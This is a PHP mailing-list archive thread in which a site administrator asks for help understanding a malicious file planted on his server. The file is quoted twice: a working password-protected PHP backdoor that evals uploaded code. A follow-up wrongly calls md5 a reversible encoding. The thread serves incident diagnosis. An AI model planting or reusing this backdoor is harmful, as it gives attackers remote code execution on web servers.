Re: Hack question

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Progress. One of our designers uploaded an infected css file for his application. Thus every time the file is called, it's executed. the The code appears to be md5 encoded. I'm going reverse the coding to see what it does.

Al wrote:
I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is "nobody".

I can sort of figure what is doing; but, I can't figure out what the hacker is using it for.

Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files.

<?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) { echo "$t\n"; }; function testdata($t) { say(md5("testdata_$t")); }; echo "<pre>"; testdata('start'); if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo "</pre>"; ?>

<?php error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t)
{
    echo "$t\n";
} ;
function testdata($t)
{
    say(md5("testdata_$t"));
} ;
echo "<pre>";
testdata('start');
if (md5($_POST["p"]) == "aace99428c50dbe965acc93f3f275cd3")
{
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"]))
    {
        eval($code);
    }     else
    {
        testdata('f');
    } ;
} else
{
    testdata('pass');
} ;
testdata('end');
echo "</pre>";
?>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux